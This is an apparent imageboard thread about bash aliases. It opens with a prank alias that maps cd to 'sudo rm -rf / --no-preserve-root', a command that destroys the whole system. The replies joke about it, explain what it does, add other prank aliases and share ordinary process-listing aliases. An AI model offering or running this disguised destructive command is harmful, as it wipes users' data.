alias cd='sudo rm -rf / --no-preserve-root' alias ls='cd'

thanks OP I ran it and now there are 50 pineapple pizzas at my door

i ran this on my linux rig that i use as a daily driver and it still works fine, what does it do?

>>57874681
but why tho

>>57874681
>putting your $HOME/bin first in your $PATH.

Nogger

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>>57874731
Why not?

>>57874681

$cd ..
[sudo] password for user: ^C
$

DUMB FROG POSTER

>>57874681
alias alias='echo "Not found"'

>>57874681
>alias ..="cd .."
onli normies use cd
>function mcd() {
> mkdir -p "$1" && cd "$1";
>}
onlie normies use mkdir
## Pass options to free
alias meminfo='free -m -l -t'

>## Get top process eating memory
>alias psmem='ps auxf | sort -nr -k 4'
>alias psmem10='ps auxf | sort -nr -k 4 | head -10'
>## Get top process eating cpu
>alias pscpu='ps auxf | sort -nr -k 3'
>alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
onlie normies use top
>alias sl=ls
most of the time I type sl instead of ls
>alias q='exit'
4 leters vs 1 you choice

>>57875559
>>alias q='exit'
>4 leters vs 1 you choice
I chose 'e'

>>57875620
>I chose 'e'
granted

>>57874726
Makes lots of common commands delete your system

>>57874726
Navigating or doing anything in terminal is set to be the top command and bork you

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>>57875524

alias cp='echo "rm: cannot remove $PWD: Permission denied"'

>>57874726
>i ran this on my linux rig that i use as a daily driver and it still works fine
>running random commands you find on /g/
why would you do this

>>57875861
Not all /g/ advice is bad advice. Install Gentoo and you'll know this.